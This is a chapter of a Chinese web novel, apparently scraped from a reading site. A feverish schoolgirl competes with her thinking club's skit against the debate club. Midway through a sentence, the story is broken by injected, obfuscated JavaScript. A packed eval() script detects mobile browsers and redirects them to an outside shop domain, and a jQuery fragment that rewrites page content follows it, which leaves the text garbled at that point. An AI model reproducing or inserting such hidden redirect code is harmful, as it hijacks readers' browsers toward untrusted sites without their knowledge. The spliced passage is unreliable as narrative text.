唉,这事该从何说起呢……
我们那天的想法被童子淇采纳了,而当我们上报给何韶时,她看上去欣喜若狂但又抑制住了自己上扬的嘴角,做贼似地观察了四周后,用道破天机的表情对着我们道:“我听说辩论社也是情景剧。你们该不会……是抄袭他们的吧?”
安响雨同样压低了声音,有几个词甚至听不出字音了,“老师,万万不可说!我们那个叫迷你辩论赛。”我赶紧推了他一把,“你有毛病啊,这么一说好像真的有这回事似的。”他生生抗住了这一下。好身手。“哦,那没有抄袭这件事。”
“那……”何韶犹豫了一下,“我觉得,你们光两两一组还不够。只有学生的话没有那么强的说服力。我觉得可以找语数英的老师来做你们的后援,这样的话……”“老师,你是不是自己想上台。”齐所玦戳穿了何韶。
何韶努了努嘴,说着“我才不想呢,你们年轻人的事自己搞,我不想。”把我们三人给轰出了办公室。
接下去说说辩论社吧。周日早晨我哥要出门排练。我明明已经连续熬夜多天也依旧雷打不动跟着我哥穿鞋,刚想开口想让他带我再去看看他们的情景剧就被抓包:“你干嘛?”“不干嘛啊。”
回过头看了看正在吃早饭并没有注意到这里的爸爸,我又向他打听:“内什么,你们进度怎么样?”
我哥冷笑了一声,“你又来?那我们这次说好,你问一个我问一个,每个人三个问题问完我去排练,你爱干啥干啥但是别再烦我了。”
我觉得这个交易能做。毕竟他知道思辨社的比我知道辩论社的事少,要是打信息差,那我稳赢。
“好,那我一次问三个!一,你们这次剧本的完成度是多少?二,剧情梗概是什么?三,洪希明对节目的态度!”我一口气问完,我哥也不假思索地答:“完成度70%,正常人大战中二病,洪希明当然认为我们的节目百分之一百的好。”
正常人大战中二病?洪希明是那个中二病?这也太梗概了,早知道就让他把剧本给我看一眼了。
“现在轮到我问你三个问题了。”我哥脸上带笑,我总有种不好的预感。他不会让我把剧本给他看吧?那我就毁约得了——“昨晚睡得好吗?有想吃的东西吗?因为比赛压力大吗?”
嗯?“你……”“关心一下你。”他解释后,拿起书包往背上一甩,“加油。我回来给你带奶茶。”
把之前的事结尾了,辩论社的事也打听了……好吧,那就说今天。
前一天晚上,由于第二天就要比赛,所以我一晚上都没怎么睡着。随着手机上的数字弹向04:35,但窗外的颜色没有变化,我意识到有那么一点不对劲。终于来到了未知、恐惧又让人恶心的周三清晨,而我坐在床沿觉得浑身不得劲,脑袋发晕。
今天下雨了。怪不得能闻到一股霉味……霉菌有味道吗?我坐在教室看窗外的雨点,齐玉晚我一步进来,手里拿着一个塑料袋装她那宽大的粉红色雨衣,一看到我就忍不住嚷嚷:“早上好啊小曜,准备好比赛了吗?”
“嗯……”我本来没力气回答,但看她似乎有些幸灾乐祸我有些不爽,“为什么你看上去这么高兴?广播社不用上场吗?”
齐玉嘲笑我,“你真是不知道啊。张克俭,也就是今天的裁判,是我们社团的社长。”啊,怕被说徇私。“更何况这么多年下来广播社都只负责主持人和串场词。演得好,不如选得好。”
气死我了这家伙。她注意到我不爽,更加开心了。把包扔在自己的桌上紧接着坐在安响雨的位置上,“怎么样,要不要投奔我们?”“……”“你怎么出汗了?很热吗?”
不热,我冷。
齐玉忽然伸手用手背贴在我额头上,又伸出另一只手贴在自己的额头。“我觉得我没有发烧。我只是头晕。”
她把手收回,低着头思考。我觉得这家伙根本摸不出我有没有发烧,便复制了她的动作:一只手摸自己的额头,一只手摸她的额头。很抱歉,我也感受不出来。
“不管了,应该不是发烧。”“嗯,你只是体温来到了38度,不是发烧。”“……你这么厉害?”“随便说的。”
“崔——曜!”安响雨把伞扔在外面,大概是发现了我的异常,他原本欢快的步伐变得僵硬,“你怎么了?压力大吗?”
我趴在桌子上,眼中的安响雨有点模糊不清,于是我干脆闭上眼睛:“头有点晕。你放心,我台词该背的都背下来了。不会出事的。”
应该是安响雨的声音在耳边响起。为什么是他?齐玉回到自己位置上去了吗?“不是担心这个,你身体不舒服要不要去医务室或者请假啊?”
这辈子都想不到在这种情况下我会说出“不用”两个字。我又不是那种意志坚强的人,我也没有表演型人格,一定要让全班和老师都劝我回家我才心安理得的接受。但凡不是今天,但凡我在明后天的随便哪一天生病,我都立马背包回家。
万幸的是,安响雨不再说话了。紧接着我就睡着了,再醒来的时候齐玉在我耳边轻声细语:“小曜,去吃饭了。”
“我吃不下。”“哎,那你再睡一会吧。”“你等等。”我闭着眼直起身子。脑袋很重,一瞬间有点支撑不住,我又朝旁边倒去,“你把那个安响雨给我叫过来,我有点事要问他。”
“我在。”男生在我身边,“怎么了?我陪你去医务室?”
我睁开眼睛看他。安响雨的刘海经过这么长时间终于是直了,前阵子因为挡眼睛被霸王花拦下要求第二天必须剪短,所以现在看上去有些许泯然众人。他的双眼直直地看着我,仿佛我只要说去医务室就会带我瞬间移动一样。“嗯——先别动我,我先问一下,我们中午的排练还继续吗?”
“排练。我替你位置,你要在旁边看吗?”“你也发烧啊?她生病你让她在教室休息呗,折腾啥啊。”齐玉怒怼道。
在我起身的时候安响雨表现得非常殷勤,走过来要扶我的手臂。齐玉又把安响雨赶走,“她是发烧,不是腿断了,你扶她干什么?”然后伸出手扶了我另外一边。
等我们三个人到了医务室。消毒水味扑面而来,空调的凉风吹得我浑身一抖,那位老师(我也不知道该称呼医务室的负责人什么,总之在学校里就暂且叫她老师吧)把我放在了一张靠桌的椅子上。不耐烦的问:“怎么了?有什么问题?”
“她好像发烧了,老师你能开点药给她吗?”齐玉在那头说话,与此同时我听到“滴——滴滴滴滴!”
“38.3,是发烧了,要回家吗?”这位老师把她的耳温枪收走。回家,回家个鬼!我赶紧竖起两根手指摇了摇。“她今天还有社团的事,不太方便回家。老师你开点药就行。”安响雨回答。
“那肯定不行的!我这里不能随便开药的你们知道吗?”
那我咋办……“那她咋办?”
“嗯……”老师犹豫了一下,“我给你张冰宝贴可以不?”
“这就是现在临上场你脸上贴着三张冰宝贴的原因?把这当符使呢,贴成三角形还能封印病毒。”童子淇的话语太过尖锐,我不喜欢。
“明明是你自己要听的。”她以为我在这样的情况下回忆发生了什么事很轻松吗?
童子淇气得咬牙切齿,而李婉连忙上前安抚她,“她身体不舒服坚持到现在已经不错了,你消消气吧!”
“我不是在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566144|204251||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
生气,你不懂!”她虽然背过身,但我依旧能听到这句话。很难不让人怀疑这是什么人情世故,说来给我听的。“你说她发着烧还坚持上台,要是没选上那我多过意不去啊!”
不用你过意不去,我自己先过不去。
说话间手里被塞了一张纸。我把纸翻过来,纸上硕大的两个字“**”。我要再说一遍我看不懂安响雨写的字。
注意到我表情不虞,安响雨赶忙解释道:“语文。咱们戏服还没到,先用这个充当一下。”
一句话有好多槽点,我都不知道该先吐槽哪个。先吐槽最明显的那个——“我们都不一定上场,戏服已经买好了?”
安响雨坐在了我旁边沉默了一会,更正道:“咱们戏服还没买,先用这个充当一下。”
“……”“你还有哪些要吐槽的吗?”为什么有戏服能代表语文、为什么我们的节目需要戏服、为什么从来没和我说过要穿戏服——“没有。”
我们思辨社总共六个人,两个人一组代表一个科目,我被分到了语文,和安响雨(他说他绝对站语文)一起。剩下的组合是英语组:童子淇(据说英语全年级前50)和李婉(PET考试A级),数学组:齐所玦(他非要在这组)和高决胜(童子淇和李婉选完后被迫分在了这组)。
这次比赛放在了音乐教室。参赛社团纷纷聚在狭小的走廊内,由学生会宣传部的部员出来喊名字,喊到名字的才能进入教室表演。
为了避嫌(童子淇是这么说的,其实我也不理解我们和辩论社到底有什么嫌需要避)童子淇带着我们站在最边上,远离人群。然而街舞社等等社团为了不打扰其他社团准备,也等在角落。
头晕目眩的我,左手边是放着爆炸鼓点,穿着宽松球衣,“嗵嗵嗒!嗵嗵嗒!”的街舞社,右手边是背着电吉他、民谣吉他、便携式电子琴(什么!)、贝斯,穿着红色皮衣,酒红色皮裤,脑袋上喷了红色的发蜡,脸上画着图案的乐团。背着电吉他的那位男生拍了拍我的肩膀:“你这造型真带劲!哪搞的!”
这位男生眼皮和眼下都画了四只眼睛。我看着他,很费劲才能找到他真正的眼睛:“我发烧了。”“什么?”“我发烧呕咳咳咳!”“……”
安响雨赶紧插进我和那男生中间,和那位六眼少男道歉:“不好意思不好意思,人物设定。”
还没等这位同学有什么反应,音乐教室那头传来一声呐喊:“情景剧!辩论社!”然后我听到洪希明欢快的声音喊着“来了来了”一边进屋。
那男生远远地看着辩论社,忍不住感慨,“洪希明,我的女神啊!”
顶着这样一张脸说别人是他的女神,我总觉得他对神的定义可能有偏差。我用看傻子一样的眼神睨了他一眼。
男生回过神来,表情瞬间切换:从刚刚的痴傻变得至少有一点智商的样子,“你们好啊,我是朗晟。你们呢?”
安响雨替我介绍,“这位是崔曜。”然后没有下文了……你倒是把自己名字说一下啊!
“哦呵呵。你们是什么社团啊?我们是——”朗晟忽然一拍吉他,另外三人接收到信号立刻配合,四人合奏了一小段旋律(并不好听,我猜是因为没插电的关系)后齐齐抬头,露出深浅不一的笑容:“叉!waterpark!”又是一段旋律。
“叉是什么意思?”“啊哈哈,那其实不是‘叉’,是X的意思。”“哦~”
安响雨,我劝你不要再和这几个人聊了。感觉就是神经病来的。
“所以你们是什么社团的?”朗晟追问,回答他的是音乐教室那传来呐喊:“情景剧!思辨社!”
童子淇气得跳脚:“我们是迷你辩论赛!”